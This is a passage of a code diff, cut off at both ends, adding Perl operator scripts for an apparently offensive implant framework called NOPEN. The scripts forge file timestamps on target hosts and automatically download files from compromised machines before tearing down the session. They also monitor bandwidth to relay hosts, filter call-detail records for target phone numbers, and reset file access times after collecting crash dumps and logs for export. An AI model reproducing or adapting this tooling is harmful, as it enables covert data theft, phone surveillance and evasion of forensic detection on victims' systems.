+ next; + } + $atime = $thistime; + last; + }#while +}#endif epochseconds or some ascii date format + +# this if forces epochtime of both to be > 0 which is fine +mydie("Malformed or missing date/time(s)") + unless ($mtime and $atime) ; + +mydie("Missing time with date \"$1\"") + if ($args =~ /^\s*((\d+)\/(\d+))/ or + $args =~ /^\s*((Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+))/ + ); + +unless ($args =~ /\S/) { + my $mtimestr = gmtime($mtime); + my $atimestr = gmtime($atime); + mydie("Missing filename(s). Times given are:\n\n\t-touch -t $mtime:$atime\n\n". + "which translate to mtime: $mtimestr\n". + " and atime: $atimestr\n", + $COLOR_NOTE); +} +#} elsif ($args =~ /(\/.*)$/) { # this section not used +# my $reffile = $1; +# ($output,$nopenlines,@output) = doit("-touch $reffile $file"); +# if ($output) { +# return ($output,$nopenlines,@output) ; +# } else { +# progprint("-touch line FAILED! Does $reffile exist?",$COLOR_FAILURE,"pause3"); +# next; +# } +# mydie(); +#} +$args =~ s/^\s+//; +(@files) = split(/\s+/,$args); +$socket = pilotstart(quiet) unless $debug; +foreach $file (@files) { + if ($debug) { + $commands .= "-touch -t $mtime:$atime $file\n"; + } else { + doit("-touch -t $mtime:$atime $file"); + } +} +if ($debug) { + my $what = "THIS COMMAND"; + $what = "THESE COMMANDS" if @files > 1; + progprint("\n\nDBG:$COLOR_FAILURE NOT RUNNING$COLOR_NOTE $what:\n$COLOR_NORMAL". + "\n$commands"); +} +close($socket); + +sub myinit { + $willautoport=1; + require "../etc/autoutils" ; + $prog = "-gs asciitouch" ; + $vertext = "$prog version $VER\n" ; + mymydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + mymydie("bad option(s)") if (! Getopts( "hvd" ) ) ; +$usagetext = " +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs grepout\" is used. + +"; + $gsusagetext="Usage: $prog [-d] DATETIME [/path/file1 [/path/file2 ... ]] + + OPTION: + + -d DEBUG mode. Compute and show the -touch line but do not do it. + + Uses NOPEN's builtin \"-touch -t epochmtime:epochatime\" syntax to touch + the mtime and atime of the files on the command line with the DATETIME + given. File arguments cannot contain spaces. + + If the file argument is omitted, the times are shown as in the format + \"-touch -t epochmtime:epochatime\". + + The DATETIME can be in any of these formats: + + : (mtime:atime) + (used for both) + M/D[/[CC]YY] H:M[:S] M/D[/[YY]YY] H:M[:S] (mtime atime) + M/D[/[CC]YY] H:M[:S] (used for both) + Mon D H:M[:S][ [CC]YY] Mon D H:M[:S][ [CC]YY] (mtime atime) + Mon D H:M[:S][ [CC]YY] (used for both) + + In the M/D format, local GMT year assumed if not given, and seconds are + randomized if left off. + + ${COLOR_FAILURE}NOTE: This WILL change the ctime to the current time.$COLOR_NORMAL + +"; + usage() if ($opt_h or $opt_v or !@ARGV) ; + $debug = " -d" if $opt_d ; + $origargs = "@ARGV"; # -d not there anymore + $args = $origargs; +}#myinit diff --git a/Linux/etc/autoautoget b/Linux/etc/autoautoget new file mode 100755 index 0000000..e817d49 --- /dev/null +++ b/Linux/etc/autoautoget @@ -0,0 +1,269 @@ +#!/usr/bin/env perl +# +# INPUT: /current/etc/autoget.$nopen_rhostname (or -f filename). +# See autoautoget -h for syntax in that file. +# +$VER="1.3" ; +$ext = $$ ; # limits likelihood of concurrent autoautoget's colliding + # BUT: still possible. + # not too likely to happen. +myinit() ; +unlink("$opetc/autoautoget.next.$ext") ; +open(NOPENOUT,"> $opetc/autoautoget.next.$ext") || + mydie("cannot open $opetc/autoautoget.next.$ext"); +$pass++ ; +doit("${comment}NOGS") ; +doit("-lsh mv $opetc/nopen_auto.$nopen_mypid $opetc/nopen_auto.$nopen_mypid.last 2>/dev/null") ; +doit("$comment START running $opetc/autoautoget.next.$nopen_rhostname pass $pass") ; +if (-e "$inputfile") { + unless (open(IN,"< $inputfile")) { + mydie("Aborting autoautoget--unable to open $inputfile"); + } + my $i = 0 ; + while () { + next if (/^$/ or /^$comment/) ; + s/\s+\#.*// ; + if (/^noburn/) { + $burning = 0 ; + } + if (/^keepalive/) { + $keepalive = 1 ; + } + ($taillines) = /\s+(\d+)L\s+/ ; + $get = "-get" ; + if ($taillines) { + $get = "-gs gettail -$taillines" ; + s/\s+(\d+)L\s+/ / ; + } + ($source,$what,$type,$ell) = /\s*(\S+)\s+(f|\d{2}-\d{2}-\d{4}|\d+d*)(\S*)\s+([\[\]-l]*)/ ; + $ell = " -l" if $ell ; + $ell = "" if $taillines ; # disable -l if using -gettail + next unless ($source and $what) ; # ignore lines with bad syntax +#print "DBG: $source $what $ell: $_" ; + if ($source =~ /\s/) { + mywarn("Unable to autoautoget files/dirs containing whitespace--skipping $source"); + next ; + } + if ($what eq "f") { + doit("$get$ell $source") ; + $gotone++; + } elsif ($what =~ /^\d{2}-\d{2}-\d{4}$/) { + # with -m we're ignoring the -gettail number if given + doit("-get$ell -m $what $source") ; + $gotone++; +# } elsif ($what =~ /^(\d+)d$/) { + } elsif ($what > 0 and $type eq "d") { + my $when = Time::Local::timegm(gmtime) - $what * 24 * 60 * 60 ; + my ($sec,$min,$hr,$mday,$monnum,$year) = gmtime($when); + ($mday) = substr($mday + 100,1) ; + $year += 1900; + $monnum++; # now 1=Jan based + ($monnum) = substr($monnum + 100,1) ; + $date = "$monnum-$mday-$year" ; + doit("$get$ell -m $date $source") ; + $gotone++; + } else { + $what = int($what) ; + if ($what < 1) { + mywarn("Unable to autoautoget $what recent files from $source--$what not a positive integer"); + next ; + } + $gettingrecent++ ; + doit("-gs lss -f /current/ls-t.$nopen_rhostname.$pass -t $source", + "# Now process ls-t.$nopen_rhostname.$pass", + "-lsh egrep -v \"/\\.\$|/\\.\\.\$\" /current/ls-t.$nopen_rhostname.$pass | awk '{print \$10}' | tail -$what > /current/getthese.$nopen_rhostname.$pass", + ); + if ($taillines) { + `echo "#NOGS" > /current/getthesetails.$nopen_rhostname.$pass` ; + doit("-lsh sed \"s/^/$get /g\" /current/getthese.$nopen_rhostname.$pass >> /current/getthesetails.$nopen_rhostname.$pass", + "-gs /current/getthesetails.$nopen_rhostname.$pass", + "-lsh rm -f /current/getthese.$nopen_rhostname.$pass /current/ls-t.$nopen_rhostname.$pass", + ) ; + } else { + doit( + "-fget /current/getthese.$nopen_rhostname.$pass", + "-lsh rm -f /current/getthese.$nopen_rhostname.$pass /current/ls-t.$nopen_rhostname.$pass", + ); + } + $gotone++; + } + } + close(IN) ; +} +doit("$comment DONE running $opetc/autoautoget.next.$nopen_rhostname pass $pass") ; +doit("-gs keepalive") if ($keepalive) ; +doit("-burnBURN") if ($burning) ; +close(NOPENOUT); +if ($debug) { + my $tmp = "\n".`grep -v "^#" $opetc/autoautoget.next.$ext`; + progprint($tmp, + $COLOR_NORMAL,$COLOR_FAILURE, + "### DEBUG MODE: FOLLOWING COMMANDS WOULD BE DONE IF NOT IN DEBUG MODE") ; +} else { + if (-e "$opetc/nopen_auto.$nopen_mypid") { + `grep -v rm.*nopen_auto.$nopen_mypid $opetc/nopen_auto.$nopen_mypid >> $opetc/autoautoget.next.$ext` ; + } + #if ($gotone or $burning) { + if (!$gotone) { + my $more = " (refusing to burn)" if $burning ; + mywarn("Empty autoautoget file $inputfile$more. Fix it.") ; + } else { + rename("$opetc/autoautoget.next.$ext","$opetc/nopen_auto.$nopen_mypid"); + } +} +unlink("$opetc/autoautoget.next.$ext"); + +sub mywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +# warn "\n${COLOR_WARNING}\a@_$COLOR_NORMAL\n" ; +} + +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + usage( "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n") ; +#"\n${COLOR_FAILURE}\a$what $hopping$COLOR_NORMAL\n" ; + exit 1; +} + +sub myinit { + use File::Basename ; + require Time::Local; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $COLOR_WHITE="\033[4;97m" ; + $prog = basename $0 ; + $prog = "-gs autoget" ; + $vertext = "$prog version $VER\n" ; + $opdir = "/current" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $opmail = "$opdown/mailpull/$nopen_rhostname" ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + $prog [ options ] + +Run from within a NOPEN session, $prog calls autoautoget which +retrieves files from the remote end of that NOPEN session and (by +default) -burnBURN's that NOPEN session. + +OPTIONS + +-b DO NOT burn NOPEN sessions once $prog is complete + (default DOES burn the session when done) + +-k Put NOPEN window into keepalive state once $prog is done + +-f file Use \"file\" instead of $opetc/autoget.\$NOPEN_RHOSTNAME to + determine what files to download + +-d Debug--output commands that would get run if -d not used + +Unless -f option is used, the files retrieved are determined by the host +specific configuration file: + + $opetc/autoget.\$NOPEN_RHOSTNAME + +where \$NOPEN_RHOSTNAME is the usual hostname.IP string NOPEN uses for +that target (which may or may not contain the domainname as well). + +SYNTAX for autoget configuration file: + +# blank lines and lines starting with # are ignored +# comments can appear after valid syntax like those shown below + +noburn # same as -b option +keepalive # same as -k option +/dir/name [##L] N [-l] # get the N most recent files in /dir/name +/dir/name [##L] Nd [-l] # get files from /dir/name less than N days old +/dir/name MM-DD-YYYY [-l] # get files in /dir/name newer than MM-DD-YYYY +/file/name [##L] f [-l] # get /file/name (file or directory!) + +The -l argument is optional on each line, and if given, -get -l is used +instead of -get, putting the retrieved files in the current local working +directory (-lpwd). + +The optional ##L argument means to only get the last ## lines from those files. + +"; + mydie("bad option(s)") if (! Getopts( "hvbkf:d" ) ) ; + usage() if ($opt_h or $opt_v) ; + $| = 1; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + $comment = "\#" ; + mydie("Call $prog from within noclient, not command line.\n". + "E.g., \"-lsh autoautoget -b\"\n". + "$vertext") unless $nopen_rhostname; + $pass = `grep "START running $opetc/autoautoget.next.$nopen_rhostname pass " $nopen_mylog | wc -l` ; + $pass = int($pass) ; + $gettingrecent=0 ; + $gotone=0; + $inputfile = "$opetc/autoget.$nopen_rhostname" ; + if ($opt_f) { + if (-s $opt_f) { + $inputfile = $opt_f ; + } else { + mywarn("Not using -f argument--$opt_f does not exist or is empty") ; + } + } + # set flags from options + $burning= ! $opt_b ; + $keepalive = 1 if ("@ARGV" =~ /keepalive/i or $opt_k) ; + $debug = $opt_d ; +} + +sub progprint { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + print "${color2}${prog}[$$]$what2: ${color}$what$COLOR_NORMAL\n" ; +} + +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +} # end sub usage + +sub doit { + local (@cmds) = (@_) ; + local $output = "" ; + my $where = "" ; + my $nohistthistime = ""; + while ($cmds[$#cmds] =~ /(OUT|NONOHIST)$/) { + if ($1 eq "NONOHIST") { + $nohistthistime = $1 ; + } else { + $where = pop(@cmds); + } + } + $where = "NOPENOUT" unless $where ; + foreach $cmd (@cmds) { + my $h = ""; + $h="-nohist " + unless ($cmd eq "#NOGS" or + $nonohist or + $nohistthistime or + !($where eq "NOPENOUT")) ; + print $where ("$h$cmd\n"); + $output .= "$h$cmd\n"; + } + return $output ; +}#doit diff --git a/Linux/etc/autoburnBURN b/Linux/etc/autoburnBURN new file mode 120000 index 0000000..9cc1906 --- /dev/null +++ b/Linux/etc/autoburnBURN @@ -0,0 +1 @@ +autologcheck \ No newline at end of file diff --git a/Linux/etc/autobwsofar b/Linux/etc/autobwsofar new file mode 100755 index 0000000..1c9c035 --- /dev/null +++ b/Linux/etc/autobwsofar @@ -0,0 +1,143 @@ +#!/usr/bin/env perl +## +# This should have almost no logic in it. Put it all in autoutils:nopenbwsofar(), + +$VER="1.0.0.4"; +$| = 1 ; + +myinit() ; + + + +my ($bwr,$bwt) = bwsofar_retired(both); +my ($more,$pitchlist,$more2,%pitchlist) = (); + +foreach my $ip (keys %gbl_projectshash) { + next unless (lc $gbl_projectshash{$ip} eq "p" or + lc $gbl_projectshash{$ip} eq "pitchimpair"); + $pitchlist .= $gbl_targetline{$ip}; + $pitchlist{$ip}++; + +} +my $pitchgrep = ""; +foreach my $ip (keys %pitchlist) { + my $bw = bwsofar($ip); + $more .= "bwsofar($ip) returns $bw M\n"; + $pitchgrep .= "|" if $pitchgrep; + $pitchgrep .= $ip; +} + +$pitchgrep = "unixdump.*_($pitchgrep)_.*[0-9]\$" if $pitchgrep; + +sleep 2; +my ($bw,@pitches) = bwsofar(); +$more .= "bwsofar() returns ($bw,@pitches)M\n"; + + +if (%pitchlist) { + $more2 = "\ncd /home/black/tmp/pcaps ; ls -alrt | egrep \"$pitchgrep\" | lss -sz\n". + `cd /home/black/tmp/pcaps ; ls -alrt | egrep "$pitchgrep"|lss -sz`; +} else { $more2 = + ("\n$COLOR_FAILURE\n\n". + "NOTE: The new bwsofar() function is more accurate if you save your opnotes.txt\n". + " with the targets section completed so it can figure out which hosts are\n". + " PITCHIMPAIR hosts. Your opnotes.txt file has NO PITCHIMPAIR hosts." + ); +} + + + +progprint(" + +". + $more2." + +bwsofar() now uses pcap file sizes (see above for yours) to +determine cumulative bandwidth. This only works if your +opnotes.txt Targets section has the pitch line and IS SAVED. + +TARGETS THUS FAR: +$COLOR_NORMAL +gbl_targets= +$gbl_targets= + +$COLOR_NOTE +PITCHES THUS FAR: +$COLOR_NORMAL$pitchlist +$COLOR_NOTE +$more +OLD METHOD: bwsofar_retired() returns (RX,TX)==($bwr,$bwt) M (from bwmonitor.txt)\n +tail -f /current/down/bwmonitor.txt\n". + `tail -4 /current/down/bwmonitor.txt`. + "" +); + +1; + +#bg("output=$output==\noutput=( +#.join("\n",@output)." +# +#openlines=$nopenlines= +#"); + +## END MAIN ## + +sub myinit { + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs bwsofar @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs bwsofar"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session with \"$prog\". + +"; + + $gsusagetext = " +Usage: -gs bwsofar [-h/-v] + +-gs bwsofar uses the $opetc/autoutils function call bwsofar() to +determine your bandwidth thus far on this op to ALL PITCHIMPAIR hosts. +$prog also calls bwsofar(IP) once per pitchimpair IP found in your +opnotes.txt and reports the result of each. + +If your opnotes.txt file is saved and the targets section is accurate, the +bwsofar() function reports the bandwidth from the pcap files to all pitchimpair +IPs contacted during your op. If not, it reverts to the older method, using +the bwmonitor.txt file, which is not as accurate. + +Usage: -gs bwsofar [-h/-v] + +"; + # Handle single help/version args here, otherwise + # give global ARGV to noepnbwsofar() to handle with Getopts. + $opt_v = $ARGV[0] eq "-v"; + usage() if ($ARGV[0] eq "--help" or + $ARGV[0] eq "-help" or + $ARGV[0] eq "-h" or + $ARGV[0] eq "-H" or + $ARGV[0] eq "--version" or + $ARGV[0] eq "-v"); + undef $opt_v; + $socket = pilotstart(quiet) unless $socket; + +} #myinit + diff --git a/Linux/etc/autocdrloop b/Linux/etc/autocdrloop new file mode 100755 index 0000000..36dfd4e --- /dev/null +++ b/Linux/etc/autocdrloop @@ -0,0 +1,63 @@ +#!/usr/bin/env perl + +# Take args and make them a string for egrep to use +my $tailfile = "/current/down/cdrtail"; +my $nextfile = "/current/etc/gs.autocdrloopnext"; +my $argsfile = "/current/.cdrargs"; +my $donefile = "/current/down/cdrdone"; +my $outfile = "/current/down/cdroutput"; +my $prettyfile = "/current/down/cdrpretty"; +$targs = "@ARGV"; +$oldtargs = $targs; +$targs =~ s/ /\|/g; + +# Usage +if ($#ARGV == -1 || $targs eq "-h") +{ + die "\nusage: -gs cdrloop PHONESTR [PHONESTR...]\n\n"; +} + +# Store the target numbers in a file to be used by cdrprint +open(ARGSFILE, ">$argsfile") || die "Error opening $argsfile"; +print ARGSFILE "$oldtargs\n"; +close(ARGSFILE); + +# Read the already processed files into memory +if (-e "$donefile") +{ + open(DONEFILE, "$donefile") || die "Error opening $donefile"; + while () + { + chomp; + $filelist{$_} = 1; + } + close(DONEFILE); +} + +# Open the tailed file, create the parser command line for each candidate file +open(INFILE, "$tailfile") || die "$tailfile does not exist"; +open(NOGSFILE, ">$nextfile") || die "Error opening $nextfile"; +open(DONEFILE, ">>$donefile") || die "Error opening $donefile"; +print NOGSFILE "#NOGS\n"; +while () +{ + chomp; + $theline = $_; + @parsedfiles = split(" ", $theline); + $cdrfile = $parsedfiles[9]; + if (exists $filelist{$cdrfile}) + { + print "Already processed $cdrfile, skipping...\n"; + next; + } + print DONEFILE "$cdrfile\n"; + print "processing $cdrfile\n"; + print NOGSFILE "-nohist -lsh echo entries from $cdrfile >> L:$outfile\n"; + print NOGSFILE "-nohist ./lvmkd $cdrfile | egrep \"$targs\" >> L:$outfile\n"; +} +close(INFILE); +close(DONEFILE); +print NOGSFILE "-nohist -lsh /current/etc/cdrprint -a $argsfile -f $outfile > T:$prettyfile\n"; +close(NOGSFILE); +chmod 0700, $nextfile; + diff --git a/Linux/etc/autocheck b/Linux/etc/autocheck new file mode 100755 index 0000000..bdc49fc --- /dev/null +++ b/Linux/etc/autocheck @@ -0,0 +1,13 @@ +#!/usr/bin/env perl +$VER="1.0" ; +$nopen_mypid = $ENV{NOPEN_MYPID} ; +$nopen_mylog = $ENV{NOPEN_MYLOG} ; +$nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; +$opdir = "/current" ; +$opetc = "$opdir/etc" ; +$opdown = "$opdir/down" ; +if (-e "$opetc/showthis.$nopen_rhostname.$nopen_mypid") { + print `cat $opetc/showthis.$nopen_rhostname.$nopen_mypid` ; +} elsif (-e "$opetc/showthis.$nopen_rhostname") { + print `cat $opetc/showthis.$nopen_rhostname` ; +} diff --git a/Linux/etc/autochecklast b/Linux/etc/autochecklast new file mode 100755 index 0000000..538e195 --- /dev/null +++ b/Linux/etc/autochecklast @@ -0,0 +1,241 @@ +#!/usr/bin/env perl +## NOPEN autoport script to run last -100, but after a prompt +## if the wtmp size is too big. +$VER="1.0.0.19" ; +#use File::Basename qw(basename dirname); +my $skiprest=0; +my $lastout=""; +myinit(); +my $lastfile = ""; + +############################# +# Determine which file to -ls +############################# +sub findwtmpfile { + my $wtmpfile = ""; + if ($otherfile) { + $wtmpfile = $ARGV[0]; + } elsif ($nopen_server_os =~ /darwin/i) { + $wtmpfile = "/var/run/wtmpx"; + } else { + foreach (sort keys %dirbyplatform) { + $wtmpfile = $_ + if ($nopen_server_os =~ /$dirbyplatform{$_}/i); + } + } + until ($wtmpfile =~ /^\/\S+$/ ) { + my $ltr=""; + my $aborthow = "by user"; + if ($autoforce) { + $ltr = "a"; + my $how = "-gs auto @ARGV"; + $aborthow = "due to $how"; + } else { + ($ltr,$wtmpfile) = mygetinput("$COLOR_FAILURE\n\n". + "Unable to determine which wtmp file to use for:\n\n". + " $nopen_server_os\n\n". + "PLEASE REPORT THIS!\n\n". + "Enter the right file to use (full path), or just hit\n". + "return to abort.","Abort"); + } + if ($ltr eq "a") { + myalert("NOLOGGING","Aborted $aborthow"); + $skiprest = 1; + return 1; + } + } + my ($output,$nopenlines,@output) = doit("-ls $wtmpfile"); + my ($size) = $output =~ /\s*\S+\s*\S+\s*\S+\s*\S+\s*(\d+)/; + my $maxsize = 60000000; # 60M + if (!$gostraightthere and !$gbl_nopromptsplease and ($size > $maxsize)) { + my $aborthow = "by user"; + if ($autoforce) { + $longans = "a"; + my $how = "-gs auto @ARGV"; + $aborthow = "due to $how"; + } else { + my ($ltr,$longans) = mygetinput("$COLOR_FAILURE\n\n". + "$wtmpfile is over $maxsize bytes.\n\n". + "ontinue with \"last $howmany\",\n". + "get output,\n". + "or bort?","Continue"); + } + if ($longans =~ /^a[^l]*$/i) { + myalert("NOLOGGING","Aborted $aborthow"); + $skiprest = 1; + return 1; + } + $howmany = "" if $longans eq "all"; + } + + my $extraopt = " -i " if $linuxtarget; + ($output,$lastfile) = doitwrite("ARRAY","last$extraopt$howmany$otherfile"); + + $lastout="autochecklast parsed last$howmany output:$COLOR_NORMAL\n\n"; + return 0; +} + +findwtmpfile(); + +############################### +# Parse the file we just dumped +############################### +sub parselast { + my $boots=0; + my $crashes=0; + my ($beginline,$wtmpfile,@oldest,@newest) = (); + + open(IN,$lastfile) or + mydie("Cannot open $lastfile: $!"); + + while () { + my ($stampsecs,$monstr,$mday,$hr,$min,$year) = epochseconds($_); + @newest = ($_,$stampsecs,$monstr,$mday,$hr,$min,$year) + if (!$newest[1] or $stampsecs > $newest[1]); + @oldest = ($_,$stampsecs,$monstr,$mday,$hr,$min,$year) + if (!$oldest[1] or $stampsecs < $oldest[1]); + $boots++ if /boot/; + $crashes++ if /crash/; + + $_ = "$COLOR_FAILURE$_$COLOR_NORMAL" if /boot/ or /crash/; + if (/tmp begins/) { + $beginline = $_; + $wtmpfile = /(\S+tmp\S*)/; + my $beginyear = (epochseconds($beginline))[5]; + if ($debug or $beginyear < $oldest[6]) { + $_ = "$prog: ${COLOR_FAILURE}Average may be off, output does not contain year and:\n". + $_.$COLOR_NORMAL; + } + } + $lastout .= $_; + }#while () + my $warning = ""; + #dbg("oldest=(@oldest)"); + #dbg("newest=(@newest)"); + my $dayslogged = int(100*(($newest[1] - $oldest[1]) /60 /60 /24))/100 ; + my $avgboots = 0; + my $total = $crashes + $boots; + $warning .= "DBG: Dayslogged=$dayslogged " if $debug; + + if ($dayslogged > 0) { + $avgboots = int(100*($total) / $dayslogged)/100; + $warning .= "avgboots=$avgboots\n" if $debug; + if ($avgboots - $avgbootmax > 0) { + $warning .= "\n\n$prog: ${COLOR_FAILURE}MORE THAN $avgbootmax boots or crashes per day!! ($avgboots per day)\n$COLOR_NORMAL"; + } else { + $lastout .= "\n$prog: $avgboots per day over $dayslogged days"; + } + } + if ($total >= $bootmax) { + $warning .= "\n\n$prog: ${COLOR_FAILURE}MORE THAN $bootmax boots or crashes!! ($total total)\n$COLOR_NORMAL"; + } else { + $lastout .= "\n$total total reboots over $dayslogged days"; + } + if ($warning) { + myalert("${COLOR_FAILURE}ALERT!!${COLOR_NORMAL}"); + sleep 2; + myalert("${COLOR_FAILURE}ALERT!!${COLOR_NORMAL}"); + myalert($lastout.$warning); + sleep 2; + } else { + myalert("NOLOGGING",$lastout.$warning); + } + return 0; +} +parselast() unless $skiprest; + +# End with true value as we require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs checklast @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs checklast"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $ext = "$$"; + $nostdout=0; +#dbg("ARGV=(@ARGV)"); + + mydie("bad option(s)") if (! Getopts( "hvd" ) ) ; + $debug = $opt_d; + %dirbyplatform = ("/var/adm/wtmpx", "SunOS", + "/var/log/wtmp", "Linux|BSD|JUNOS|MIRAPOINT", + "/var/adm/wtmp", "HP-UX|IRIX|OSF|AIX", + ); + $howmany = " -100"; + $bootmax = 25; + $avgbootmax = 0.50 ; + my $dirhelp = ""; + foreach (sort keys %dirbyplatform) { + $dirhelp .= sprintf(" %-12s %s\n",$_,$dirbyplatform{$_}); + } + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog [other-wtmp-file] + +$prog does an -ls to determine the size of the wtmp[x] file. If +it is small, $prog does a last$howmany. If they are over 150M, the +user is prompted and can decide to skip the last command. + +An answer of \"all\" at that prompt will issue a \"last\" command +instead, showing the entire file contents. + +An answer of \"other\" will prompt for what non-default filename to +issue the \"last -f FILE\" on. + +The file size used varies by platform: + +$dirhelp +If the argument is a full path, the -f option to last is used to +examine that file's contents. + +The output of the last command is parsed, and boots and crashes are +shown in red. If there are more than $bootmax of these, pauses and +an ALERT bring it to the operator's attention. + +OPTIONS + + -h show this usage statement + +"; + usage() if ($opt_h or $opt_v); + progprint("\n\n\nCalled as: $0 $gsoptions\n\n",$COLOR_FAILURE) if @ARGV; +# dbg("\n\n\nCalled as: $0 $gsoptions\n\n",$COLOR_FAILURE); + mydie("Only one argument please") + if (@ARGV > 1); + $otherfile = $ARGV[0]; + mydie("File given must start with \"/\" and contain no whitespace") + unless (!$otherfile or $otherfile =~ /^\/\S+$/); + $otherfile = " -f $otherfile" if $otherfile; + mydie("NOTE: \"last$howmany\" will not be run. Disabled by user via \$donotrunlast{$nopen_rhostname} variable.") + if $donotrunlast{$nopen_rhostname} ; + mydie("NOTE: \"last$howmany\" will not be run. Disabled by user via \$donotrunlast variable.") + if $donotrunlast ; + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit + + diff --git a/Linux/etc/autocrashdump b/Linux/etc/autocrashdump new file mode 100755 index 0000000..e5ea9ef --- /dev/null +++ b/Linux/etc/autocrashdump @@ -0,0 +1,270 @@ +#!/usr/bin/env perl +# +$VER="1.0.0.7"; + +my $crashpathroot="/var/crash"; +my $hostname=""; +my %unixfiles=(); +my %vmcorefiles=(); +my $listonly=0; +my $runall=0; +my $batchmode=0; +my @accessedfiles=(); +my @listing=(); +myinit(); +my $crashdump="$opdown/crashdump.$nopen_rhostname"; + +my (@dumpfiles) = findcrashfiles(); +unless (!@dumpfiles or $listonly) { + parsecrashfiles(@dumpfiles); + filetimeresets(@accessedfiles) if @accessedfiles; + nopenlss("-UGgsecure,,messages,,syslog","/var/log","/var/adm"); + if (@listing) { + progprint("Crash dump saved at $crashdump\n\n\n${COLOR_FAILURE}@listing${COLOR_NORMAL}"); + } + my @logdirs = ("$opdown/$nopen_rhostname/var/log","$opdown/$nopen_rhostname/var/adm"); + my ($ans) = mygetinput + ("\n\n". + "Do you want to create a tarball of the crashdump and log files and copy-fast it?","Y"); + if ($ans eq "y") { + my $crashdir = "crashdump_${nopen_rhostname}_".timestamp(short); + my $tmpdir = "$optmp/$crashdir"; + mkdir($tmpdir); + + my @logfiles = split(/\n/,`find @logdirs -type f`); + progprint($COLOR_NORMAL."\n\n". + "Copying crashdump data to this temporary directory and tarring it up:\n". + "$tmpdir\n\n". + `cp -p $opdown/crashdump.$nopen_rhostname* $opdown/opnotes.txt $opdown/hostvars* @logfiles $tmpdir;cd $tmpdir ; find -type f -ls | sed "s,.*root ,,g"`. + `cd $optmp ; tar cjf ../crashdump_${gbl_opuser}_$nopen_rhostname.tar.bz2 $crashdir ; ls -al crashdump_${gbl_opuser}_$nopen_rhostname.tar.bz2`. + "\n\nSee popped up window to confirm copy-fast success.". + ""); + unless (fork()) { + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + dbg("EXECING: 1x -hold +\ + -title \"\\\"${prog}_copy-fast_popup\\\"\" -geometry 130x64-0+0 -e copy-fast $opdir$nozip$forceit$noxwait"); + exec("1x -hold -title \"\\\"${prog}_copy-fast_popup\\\"\" -geometry 130x64-0+0 -e copy-fast $opdir/crashdump_${gbl_opuser}_$nopen_rhostname.tar.bz2"); + } + } +} + +# End with true value as we require this script elsewhere. +1; + +#ENDMAIN + +sub mymydie { + filetimeresets(@accessedfiles) if @accessedfiles; + mydie(@_); +} + +sub findcrashfiles { + # Search for the latest crash files. + my $filename=""; + my ($vmcoretodo,$unixtodo,$ans) = (); + ($unixoutput,$nopenlines,@unixoutput) = nopenlss("-UFQR","$crashpathroot/"); + my $maxindex = 0; + foreach $filelisting (@unixoutput) { + # Build the separate arrays of unix.* and vmcore.* files. + ($filename,$type,$num) = $filelisting =~ m, (/.*/(unix|vmcore)\.([0-9]+)), ; + if ($type eq "unix") { + $unixfiles{$3} = $1; + } elsif ($type eq "vmcore") { + $vmcorefiles{$3} = $1; + } + $maxindex = $1 if ($1 > $maxindex); + } + if (%unixfiles or %vmcorefiles) { + my ($filelist,@allowed) = (); + foreach my $key (sort by_num keys %vmcorefiles) {# = 0 ; $key <= $maxindex ; $key++) { + if ($vmcorefiles{$key} and $unixfiles{$key}) { + $filelist .= " $unixfiles{$key}\n"; + $filelist .= " $vmcorefiles{$key}\n"; + 